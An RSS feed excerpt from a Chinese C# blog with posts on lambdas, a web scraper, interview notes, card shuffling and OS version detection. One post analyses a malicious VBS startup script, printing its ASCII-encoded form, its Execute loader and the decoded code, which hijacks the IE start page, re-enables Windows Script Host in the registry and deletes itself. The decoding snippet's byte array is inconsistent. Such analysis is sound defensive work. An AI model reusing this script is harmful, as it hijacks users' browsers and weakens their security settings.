&lt;p&gt;2.当阅读代码的时候。直接就可以看到被调用函数的代码，不用去别的地方。&lt;/p&gt;
&lt;p&gt;Lambda表示应该短些。太复杂了。可读性就下降了&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果编写Lambda表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda基本的定义是：参数=&amp;gt;执行代码&lt;/p&gt;
&lt;p&gt;举个例子&lt;/p&gt;
&lt;pre lang=&#34;cs&#34;&gt;n = &gt; n % 2 == 1&lt;/pre&gt;
&lt;p&gt;n是输入参数
n % 2 == 1 是函数体&lt;/p&gt;
&lt;p&gt;你可以读作：给这个匿名方法传入一个参数n，如果n是奇数就返回true&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用该Lambda的例子&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;List&amp;lt;int&amp;gt; numbers = new List&amp;lt;int&amp;gt;{11,37,52};
List&amp;lt;int&amp;gt; oddNumbers = numbers.where(n =&amp;gt; n % 2 == 1).ToList();
//现在oddNumbers 里面就是11和37了&lt;/pre&gt;
&lt;p&gt;ok.基本的Lambda表达式就是这样了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>从平庸到幸福</title>
      <link>http://blog.leaver.me/2012/12/05/%E4%BB%8E%E5%B9%B3%E5%BA%B8%E5%88%B0%E5%B9%B8%E7%A6%8F/</link>
      <pubDate>Wed, 05 Dec 2012 08:05:58 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/05/%E4%BB%8E%E5%B9%B3%E5%BA%B8%E5%88%B0%E5%B9%B8%E7%A6%8F/</guid>
      <description>&lt;p&gt;一篇来自左岸的文章，可以读一读。只是不知道有几人能够认认真真读完。文予有缘人。随意吧。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;作者：&lt;a href=&#34;http://www.zreading.cn/archives/3030.html&#34;&gt;文刀&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当一件事情刚开始时，我们总会偏向于好的预期，因为这样我们才会去行动。当事情在不断的进展时，外界的因素（客观条件）总会引起我们主观上的波动，时而信心满满，时而跌入谷底。然而事情总是要有个结果的，在这样一种偏向反复，时好时坏的自我预期中，有些人选择了放弃，有些了继续了坚持。放弃，或许是因为有更明智的选择，又或许已经没戏了。坚持，或许是因为没有了退路，又或许是总体偏向于好的预期。不管怎么样，预期总会无穷的趋于向现实要一个结果。而关于结果是正无穷还是负无穷，我们却无法量化，因为做每一个选择，特别是人生选择时，其机会成本（选择成本）是无法量化的。读三年研与先工作三年是难以在同一个人身上同时进行，是不可逆的单一选择，也就无法真正理性地去决定。而我们之所以能够去决定，大部分取决于我们自己与身边人的偏好。所幸，我们都能也都应该看到，做如此的选择并没有犯下方向上的错误。总体上这条路上，我们的步伐是朝前迈的。我们的学识，我们的视野都在增进，然而，要问我们是否就此告别了平庸，是否走向了幸福与快乐，这却是无关的。&lt;/p&gt;
&lt;p&gt;知识的增长并不意味着个人道德水平的提高或是人个涵养的提升。在物欲横流的社会中，总能听到那么多关于知识分子的道德丑闻与民工的善行。平庸并不是表明人的身份，而是表明个人的如何从众。所以，对于钱权与名利的追求，恰恰是平庸之举。再看看幸福，知识的提高会带来更高的视野，也可能会导致更多的欲求。有限理性的欲求会是生活源源不断的动力，带来的实现会成为幸福的体验。纵然如此，这也只是一时的，更多的幸福并不在于我们要不断去满足，而是要学会去知足，学会去感激，去给予。所以，幸福是一种认知状态，是一种心境。&lt;/p&gt;
&lt;p&gt;再来设想一下，当我们把梦想比作一种财富的实现，我们就会发现。当一阶段内的目标实现了，我们就会寻找下一阶段的目标，然后再去实现它。这样的生活是富有挑战与方向感的，也就是有意义的，这种不断的自在追求本身会是幸福的。如此，追求财富就如梦想一般无可厚非（可能财富就是梦想），但如果我们无法认清财富存在的更多效用，我们就免不了坠入平庸，欲壑难填，我们又何来幸福。一千万在当下社会足以自在一把，然而却已然超出了本身的欲求（理性的），那么就应该拿出钱来做好事，给予会让自己更为幸福，因为我们可以就此看到更多幸福的存在。&lt;/p&gt;
&lt;p&gt;即使把幸福看作是一种认知状态，一种心境，但其也应该是我们毕生的追求。以前，我们生活无忧无虑，饭来张口衣来伸手，但我们都明白，那也只是一时的，是建立在亲人的血汗之上的。如今，我们走出校园，参加工作，就要懂得去承担相应的去给予身边人力所能及的照顾。从接受到享受再到给予最终还是到享受，这一过程就是认知状态的提升，就是对幸福的追求。幸福是学会接受与学会给予的过程。心境是个什么概念，又要如何提升呢？我们都清楚，在现世中不存在世外桃源，田园牧歌也不太现实。那么，我们就要学会把这种不可能变成可能带到生活中，其唯一的途径就是提升我们的心境。而这并不是说，我们要在现实生活中学会自欺欺人，而是把这样一份浪漫主义的情怀赋予到真实中，做到真、性、情。对于生活中的真真假假，我们要学会看到，看透，看淡；对于生活中的点点滴滴，我们要学会感激，感怀，感悟；还有对于他人，对于自己，也要力求做到真与善，从而现实幸福的美感。如此，心境的提高是一个领悟与缓慢提升的过程。幸福是一生的追求。&lt;/p&gt;
&lt;p&gt;当我们意识到追求梦想更深的是在追求幸福时，我们又深深的坚信着幸福是一种心境，那我们何不学会像相信幸福总是存在一样去相信梦想会实现呢，我们又何必多去假定另一种不好的预期存在呢。既然我们已经走在路上了，在正确追求幸福的路上呢，那我们何不去幸福呢 ？相对于冷漠的大众，我深信，时时能感到幸福，时时有梦想，为断去追求幸福的人，注定是个不平庸的人。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[源码]打包下载算法与数据结构演示动画</title>
      <link>http://blog.leaver.me/2012/12/03/%E6%BA%90%E7%A0%81%E6%89%93%E5%8C%85%E4%B8%8B%E8%BD%BD%E7%AE%97%E6%B3%95%E4%B8%8E%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E6%BC%94%E7%A4%BA%E5%8A%A8%E7%94%BB/</link>
      <pubDate>Mon, 03 Dec 2012 18:51:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/03/%E6%BA%90%E7%A0%81%E6%89%93%E5%8C%85%E4%B8%8B%E8%BD%BD%E7%AE%97%E6%B3%95%E4%B8%8E%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E6%BC%94%E7%A4%BA%E5%8A%A8%E7%94%BB/</guid>
      <description>&lt;p&gt;很早的时候，学习数据结构的时候。收集了一下演示的动画。帮助理解。但是不全。今天在看KMP算法的时候。看到了福州大学的一个精品课程。。81个演示动画呢。。想打包下载收藏。话说福州大学这才是好样的。踏踏实实搞学术。&lt;/p&gt;
&lt;p&gt;第一种方法就是手工了。。嘎嘎。你敢么。一个个下载。。。一个个改名。。&lt;/p&gt;
&lt;p&gt;第二种就是用整站下载的软件了。。但是我看了一下swf的命名。我就知道下载下来意义不大。因为名字不好理解。&lt;/p&gt;
&lt;p&gt;第三种就是自己写个程序吧。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;整体思路，首先访问课程页面，解析得到每一章的标题和内容，然后创立章节文件夹，得到每个动画对应的html页面，然后对html页面解析，提取swf地址。然后下载就行了。&lt;/p&gt;
&lt;p&gt;比较疼的地方是那个页面用的是gb2312编码。而解析神器HtmlAgilityPack，不能指定编码。只能想办法绕过了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;            WebClient client = new WebClient();
            MemoryStream ms = new MemoryStream(client.DownloadData(url));
            HtmlDocument doc = new HtmlDocument();
            doc.Load(ms, Encoding.GetEncoding(&#34;gb2312&#34;));&lt;/pre&gt;
&lt;p&gt;绕过方法就是先使用内置类得到内存流。然后从内存中加载。&lt;/p&gt;
&lt;p&gt;然后呢。涉及的技术就是xpath了。参考着xpath的文档。搞定了不少。中间还有一个地方就是我没注意看。这个页面有两个文件是一样名字。。调试了几次才发现。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using HtmlAgilityPack;
using System.IO;
using System.Threading;
using System.Net;

namespace FzuSwf
{
    class Program
    {
        static void Main(string[] args)
        {
            DoWork();
        }

        //执行任务
        static void DoWork()
        {
            HtmlWeb web = new HtmlWeb();
            HtmlDocument doc = web.Load(&#34;http://ds.fzu.edu.cn/fine/resources/&#34;);
            HtmlNode divResource = doc.GetElementbyId(&#34;divResource&#34;);
            foreach (HtmlNode child in divResource.ChildNodes)
            {
                if (child.Name == &#34;table&#34;)
                {
                    HtmlNode ptile = child.SelectSingleNode(&#34;tr[1]&#34;);

                    Directory.CreateDirectory(ptile.InnerText.Trim());
                    int i = 0;
                    HtmlNodeCollection pcontents = child.SelectNodes(&#34;tr[position()&amp;gt;1]&#34;);
                    Console.WriteLine(ptile.InnerText.Trim());
                    foreach (HtmlNode one in pcontents)
                    {
                        string link = one.SelectSingleNode(&#34;./td[1]/p[1]/a[@href]&#34;).Attributes[&#34;href&#34;].Value;

                        link = @&#34;http://ds.fzu.edu.cn/fine/resources/&#34; + link;

                        string filename;

                        filename = one.InnerText.Trim();
                        if (one.InnerText.Trim() == &#34;二叉树的顺序存储表示&#34;)
                        {
                            filename += i;
                            i++;
                        }
                        string swfLink = getSwfName(link);
                        Console.WriteLine(&#34;--&#34; + filename + swfLink);
                        DownSwf(swfLink, ptile.InnerText.Trim() + @&#34;/&#34; + filename + &#34;.swf&#34;);

                        Thread.Sleep(1000);

                    }
                }

            }
        }

        //下载指定的swf
        static void DownSwf(string url, string desname)
        {
            Uri u = new Uri(url);
            WebClient myWebClient = new WebClient();
            myWebClient.DownloadFileAsync(u, desname);
        }

        //获取指定页面的那个swf名称
        static string getSwfName(string url)
        {
            WebClient client = new WebClient();
            MemoryStream ms = new MemoryStream(client.DownloadData(url));
            HtmlDocument doc = new HtmlDocument();
            doc.Load(ms, Encoding.GetEncoding(&#34;gb2312&#34;));
            HtmlNode hd = doc.DocumentNode;

            string str = hd.SelectSingleNode(&#34;//a[@href]&#34;).Attributes[&#34;href&#34;].Value;

            return @&#34;http://ds.fzu.edu.cn/fine/resources/&#34; + str;
        }

    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#与.net 程序员面试笔记</title>
      <link>http://blog.leaver.me/2012/11/28/c%23%E4%B8%8E.net-%E7%A8%8B%E5%BA%8F%E5%91%98%E9%9D%A2%E8%AF%95%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 28 Nov 2012 07:13:03 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/28/c%23%E4%B8%8E.net-%E7%A8%8B%E5%BA%8F%E5%91%98%E9%9D%A2%E8%AF%95%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;这是前几天读的书。书不难。10-13章跳过了。以后再看。&lt;/p&gt;
&lt;p&gt;以前，一个应用程序对应一个进程。并且为该进程指定虚拟内存，这样。进程会消耗很多资源，而且进程之间的通信业比较麻烦&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;应用程序域&lt;/strong&gt;可以理解为很多应用程序域都可以运行在同一个.net 进程中，降低内存消耗。同时不同的域之间隔离。安全有保证。通信也简单。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;程序集&lt;/strong&gt;是指包含编译好的。面向.net framework的代码的逻辑单元。是完全自我描述性的一个逻辑单元。可以存储在多个文件中。简单来说，程序集就是几个彼此有关联程序文件的集合。程序集会包含程序的元数据。描述了对应代码中定义的方法和类型。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;装箱和拆箱&lt;/strong&gt;：装箱转换是将一个值类型显式或隐式的转换成一个object对象。并且把这个对象转换成一个被该值类型应用的的接口类型。装箱后的object对象中的数据位于堆中。一般应该避免这种运算。
CLR将值类型的数据包裹到匿名的托管对象中，并将托管对象的引用放在Object类型的变量中。这个过程称为装箱。一般还是使用泛型来代替多好。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值类型和引用类型&lt;/strong&gt;：值类型实例通常分配在线程的栈上。并且不包含指向任何实例数据的指针。引用类型实例分配在托管堆上。变量保存了实例数据的内存引用。引用类型复制的话会导致引用同一个内存地址。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;C#预处理指令&lt;/strong&gt;是在编译时调用的。预处理指令通知C#编译器要编译哪些代码。并指出如何处理特定的错误和异常。比如用在一些调试的时候。在顶部define一个debug 内部的测试部分写上测试用例。具体示例&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//定义条件变量，注意条件变量的定义要在代码的最前面
#define Debug
using System;
namespace MyConsole
{
  class Preprocesor
  {
    public static void Main()
    {
     //如果条件变量是Debug则运行单元调试代码，再运行功能模块返回运行结果
    #if Debug
      Console.WriteLine(&#34;运行单元测试模块&#34;);
      Console.WriteLine(&#34;运行功能模块，返回输出结果&#34;);
     Console.Read();
   #elif Release
      //如果条件变量是Release，则直接运行功能模块返回运行结果
        Console.WriteLine(&#34;运行功能模块，返回输出结果&#34;);
       Console.Read();
       #endif
      }
   }
}&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;C#中的指针&lt;/strong&gt;
指针是一个无符号整数。是以当前系统寻址范围为取值范围的整数，CLR支持三种指针类型：受托管指针，非托管指针，非托管函数指针，受托管指针存储在堆上的托管块的引用，一个非托管指针就是传统意义上的指针，要放在unsafe中使用，C#中指针并不继承自Object&lt;/p&gt;
&lt;p&gt;String 是CLR的类型名称。而string是C#的关键字。其实C#编译时。。会增下如下代码：
using string=System.String&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Array 到ArrayList的转换&lt;/strong&gt;
1.使用ArrayList.Adapter(ArrayName) 可以直接得到ArrayList
2.使用遍历逐个添加到ArrayList里。
反向的话直接使用(Array[])ArrayListName.ToArray(typeof(Array));即可&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;checked和unchecked&lt;/strong&gt;语句用于控制整形算术运算和显示转换的溢出检查上下文。checked关键字用于对整型算术运算和转换显式启用溢出检查。因为默认情况下。如果表达式产生的值超过了类型的范围。则常数表达式将会导致编译时错误。而非常数表达式则在运行时计算并将引发异常。&lt;/p&gt;
&lt;p&gt;Asp.Net 中的&lt;strong&gt;Request对象&lt;/strong&gt;主要功能是从客户端得到数据信息。他的属性比较多。比如UserLanguage，TotalBytes，Path，ApplicationPath&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ViewState&lt;/strong&gt;是其的一个重要特性。用于把生成页面要用的状态值保存到一个隐藏域里。而不是用cookie/内存&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SOAP&lt;/strong&gt;是Web Service应用的基础协议。他是一种轻量的简单的。基于xml的协议。被设计成在wEb上交换结构化的和固有的信息。
WSDL是一种用于描述web服务和说明如何与Web服务通信的XML语言。WSDL是一种符合XML语法规范的语言。它的设计完全基于Soap协议的实现。当一个WEb Service 服务器期望为使用者提供服务说明时，WSDL语言是最好的选择之一。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;**对企业的一些认识 **&lt;/p&gt;
&lt;p&gt;千万不要说自己未来的打算是做到管理层，首先对管理层的定义不清楚。职务不清楚。所以保险的答案是我会努力钻研技术。使得能够达到业内的专业人士。深刻理解公司和行业&lt;/p&gt;
&lt;p&gt;我是为了找一份长期性的工作。我不喜欢频繁的跳槽我希望在这个利于发展自己的事业。深入学习。向专业人士请教。那。该我想问这个职务是长期的吗？&lt;/p&gt;
&lt;p&gt;不要把公司想像成慈善机构。工作的运作方面应该是尽可能快的实现盈利。树立品牌，赢得客户。我的工作就是完成企业的良性运作。&lt;/p&gt;
&lt;p&gt;如果被问到是否需要考虑看分数。应该说用人单位确实需要全面考量。也要考虑应聘者的工作积极性/服从性。实际经验/对开发的理解诶。这些也许比分数更有价值。&lt;/p&gt;
&lt;p&gt;应届生的优缺点应该是足够的理论知识和专业能力。缺点是工作和社会经验不足。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#模拟手工洗牌(附测试)</title>
      <link>http://blog.leaver.me/2012/11/25/c%23%E6%A8%A1%E6%8B%9F%E6%89%8B%E5%B7%A5%E6%B4%97%E7%89%8C%E9%99%84%E6%B5%8B%E8%AF%95/</link>
      <pubDate>Sun, 25 Nov 2012 09:24:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/25/c%23%E6%A8%A1%E6%8B%9F%E6%89%8B%E5%B7%A5%E6%B4%97%E7%89%8C%E9%99%84%E6%B5%8B%E8%AF%95/</guid>
      <description>&lt;p&gt;洗牌大家都知道，代码实现最广泛的一种就是产生两个随机数，然后交换这两个随机数为下标的牌，但是这种的洗牌并不能保证同概率，你可以参考本文做一些测试，本文代码没啥可说的。我写出了非常详细的注释&lt;/p&gt;
&lt;p&gt;ps:刚开始写那个随机数的时候，我随便给了个种子2012.。结果你懂的。。意外意外。这个全局的result数组让我很疼，代码有什么可以改进的，欢迎留言指出。不胜感激。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/*Author:Bystander
 *Blog:http://leaver.me 
 *Date:2012/11/24*/
using System;

class Program
{
    static int[,] result;
    static void Main()
    {
        //初始牌的顺序，我只测试10张牌的情况
        char[] _arr = { &#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;, &#39;E&#39;, &#39;F&#39;, &#39;G&#39;, &#39;H&#39;, &#39;I&#39;, &#39;J&#39; };
        result = new int[_arr.Length, _arr.Length];
        //进行1000次，来统计结果的数字.

        for (int i = 0; i &amp;lt; 10000; i++)
        {
            ShuffleArray_Manual(_arr);
            SumCount(_arr);
        }

        int j = 0;
        foreach (int i in result)
        {
            if (j % result.GetLength(1) == 0)
            {
                Console.WriteLine();
            }
            Console.Write(i + &#34;\t&#34;);
            j++;
        }

    }

    //模拟洗牌
    static void ShuffleArray_Manual(char[] arr)
    {

        Random rand = new Random(Guid.NewGuid().GetHashCode());
        int len = arr.Length;
        int mid = len / 2;

        /*
         * 洗牌的过程重复进行5次，为了洗的均匀.每次都是先平分扑克，然后完全交叉，然后从牌中拿出一部分，放在牌的最前面，也就是切牌，然后再进行下次平分扑克。
         */
        //双手洗牌5次，默认认为是平分扑克
        for (int n = 0; n &amp;lt; 5; n++)
        {

            //两手洗牌
            for (int i = 1; i &amp;lt; mid; i += 2)
            {
                char tmp = arr[i];
                arr[i] = arr[mid + i];
                arr[mid + i] = tmp;
            }

            //随机切牌
            //注意切牌指的是从中抽出n张牌放到扑克牌的前面去
            char[] buf = new char[len];

            for (int j = 0; j &amp;lt; 5; j++)
            {
                //产生从大于等于1小于len的数
                int start = rand.Next() % (len - 1) + 1;

                //产生大于等于0小于等于一半的数
                int numCards = rand.Next() % (len / 2) + 1;

                if (start + numCards &amp;gt; len)
                {
                    numCards = len - start;
                }

                //把扑克牌arr的前start张牌复制到buf里
                Array.ConstrainedCopy(arr, 0, buf, 0, start);

                ///然后把切出来的numCards张牌，起始下标为start的移动到扑克牌arr的最前面
                Array.ConstrainedCopy(arr, start, arr, 0, numCards);

                ///最后把切出去的buf牌（numCards张）复制回扑克牌arr的numCards之后的元素
                Array.ConstrainedCopy(buf, 0, arr, numCards, start);
            }

        }
    }

    //统计一次结果的次数，存入结果数组
    static void SumCount(char[] arr)
    {
        for (int i = 0; i &amp;lt; arr.Length; i++)
        {
            result[arr[i] - &#39;A&#39;, i] += 1;
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>一个恶意vbs脚本的简单解码</title>
      <link>http://blog.leaver.me/2012/11/25/%E4%B8%80%E4%B8%AA%E6%81%B6%E6%84%8Fvbs%E8%84%9A%E6%9C%AC%E7%9A%84%E7%AE%80%E5%8D%95%E8%A7%A3%E7%A0%81/</link>
      <pubDate>Sun, 25 Nov 2012 09:00:59 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/25/%E4%B8%80%E4%B8%AA%E6%81%B6%E6%84%8Fvbs%E8%84%9A%E6%9C%AC%E7%9A%84%E7%AE%80%E5%8D%95%E8%A7%A3%E7%A0%81/</guid>
      <description>&lt;p&gt;今天把电脑还原到了11月7号。结果eset更新后报C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup这个目录有个zzs.vbs的不受欢迎的程序，当时没什么事，就打开看看。想知道是个什么东西。&lt;/p&gt;
&lt;p&gt;由于eset阻止，我就把文件拖出来。改个后缀。发现代码不长，前半段是ascii码编码的。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;strs = Array(68,111,13,10,32,32,32,32,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,92,92,46,92,114,111,111,116,92,99,105,109,118,50,34,41,13,10,32,32,32,32,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,13,10,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,13,10,32,32,32,32,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,73,110,32,99,111,108,80,114,111,99,101,115,115,101,115,13,10,32,32,32,32,32,32,32,32,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,34,117,115,101,114,105,110,105,116,46,101,120,101,34,32,84,104,101,110,13,10,32,32,32,32,32,32,32,32,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,49,13,10,32,32,32,32,32,32,32,32,32,32,32,32,69,120,105,116,32,70,111,114,13,10,32,32,32,32,32,32,32,32,69,110,100,32,73,102,13,10,32,32,32,32,78,101,120,116,13,10,32,32,32,32,73,102,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,32,84,104,101,110,32,69,120,105,116,32,68,111,13,10,32,32,32,32,87,83,99,114,105,112,116,46,83,108,101,101,112,32,49,48,48,13,10,76,111,111,112,13,10,13,10,115,80,97,103,101,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,57,57,57,46,99,111,109,47,63,111,110,101,34,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,34,72,75,67,85,92,83,111,102,116,119,97,114,101,92,77,105,99,114,111,115,111,102,116,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,77,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,44,32,115,80,97,103,101,13,10,13,10,115,82,101,103,80,97,116,104,32,61,32,34,72,75,76,77,92,83,79,70,84,87,65,82,69,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,32,83,99,114,105,112,116,32,72,111,115,116,92,83,101,116,116,105,110,103,115,34,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,13,10,105,69,110,97,98,108,101,100,32,61,32,111,98,106,83,104,101,108,108,46,82,101,103,82,101,97,100,32,95,13,10,40,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,41,13,10,73,102,32,69,114,114,46,78,117,109,98,101,114,32,61,32,48,32,84,104,101,110,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,34,44,32,105,69,110,97,98,108,101,100,44,32,34,82,69,71,95,68,87,79,82,68,34,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,68,101,108,101,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,13,10,69,110,100,32,73,102,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,83,101,116,32,102,32,61,32,111,98,106,83,104,101,108,108,46,71,101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101)&lt;/pre&gt;
&lt;p&gt;后半段是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;For i = 0 To UBound(strs)
    runner = runner &amp;amp; Chr(strs(i))
Next
Execute runner&lt;/pre&gt;
&lt;p&gt;虽说对vbs不怎么熟，但也知道vbs经常用来写个启动项啊。加个用户啊。之类的。后半句很好懂。就是把ascii码转换成字符串，然后执行。字面意思看看就行了。其实应该可以直接将Execute runner 改为 MsgBox runner就能输出了。但eset不能关闭。所以最后还是选择用C#来写了。&lt;/p&gt;
&lt;p&gt;解码嘛。很简单。VS刚好开着。直接写吧。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; byte[] strs = {68，101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101};
        System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
        Console.WriteLine(asciiEncoding.GetString(strs));&lt;/pre&gt;
&lt;p&gt;运行后输出&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Do
    Set objWMIService = GetObject(&#34;winmgmts:\\.\root\cimv2&#34;)
    Set colProcesses = objWMIService.ExecQuery(&#34;Select * from Win32_Process&#34;)
    FoundProcess = 0
    For Each objProcess In colProcesses
        If objProcess.Name = &#34;userinit.exe&#34; Then
            FoundProcess = 1
            Exit For
        End If
    Next
    If FoundProcess = 0 Then Exit Do
    WScript.Sleep 100
Loop

sPage = &#34;http://www.999.com/?one&#34;

Set objShell = CreateObject(&#34;WScript.Shell&#34;)
objShell.RegWrite &#34;HKCU\Software\Microsoft\Internet Explorer\Main\Start Page&#34;, s
Page

sRegPath = &#34;HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings&#34;
On Error Resume Next
iEnabled = objShell.RegRead _
(sRegPath &amp;amp; &#34;\Enabled_&#34;)
If Err.Number = 0 Then
    objShell.RegWrite sRegPath &amp;amp; &#34;\Enabled&#34;, iEnabled, &#34;REG_DWORD&#34;
    objShell.RegDelete sRegPath &amp;amp; &#34;\Enabled_&#34;
End If

Set objShell = CreateObject(&#34;Scripting.FileSystemObject&#34;)
Set f = objShell.GetFile(WScript.ScriptFullName)
If f.Attributes And 1 Then f.Attributes = f.Attributes - 1
objShell.DeleteFile WScript.ScriptFullName&lt;/pre&gt;
&lt;p&gt;结合后半段。简单读一读，就知道这个先找了一下userinit.exe进程。然后改了注册表并且设置了浏览器首页为999这个什么网站，我打开发现是个导航站。。人家hao123做个导航站赚钱了。。你们要不要这样跟风啊。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>获取操作系统版本信息</title>
      <link>http://blog.leaver.me/2012/11/23/%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF/</link>
      <pubDate>Fri, 23 Nov 2012 13:24:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/23/%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29601_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab5c1bb6b5cf05669ff110a1a4fe35b5a28a68a5.jpg&#34; title=&#34;wnidows version&#34;&gt;&lt;/a&gt;
坊间流传的代码都有些问题，比如不能正常获取win7以上的版本信息，不能获取诸如专业版，旗舰版等的信息，不能正常获取操作系统位的信息。&lt;/p&gt;
&lt;p&gt;使用代码，写了一个简单的库来实现效果。用法大概如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;StringBuilder sb = new StringBuilder(String.Empty);
sb.AppendLine(&#34;Operation System Information&#34;);
sb.AppendLine(&#34;----------------------------&#34;);
sb.AppendLine(String.Format(&#34;Name = {0}&#34;, OSVersionInfo.Name));
sb.AppendLine(String.Format(&#34;Edition = {0}&#34;, OSVersionInfo.Edition));
if (OSVersionInfo.ServicePack!=string.Empty)
sb.AppendLine(String.Format(&#34;Service Pack = {0}&#34;, OSVersionInfo.ServicePack));
else
sb.AppendLine(&#34;Service Pack = None&#34;);
sb.AppendLine(String.Format(&#34;Version = {0}&#34;, OSVersionInfo.VersionString));
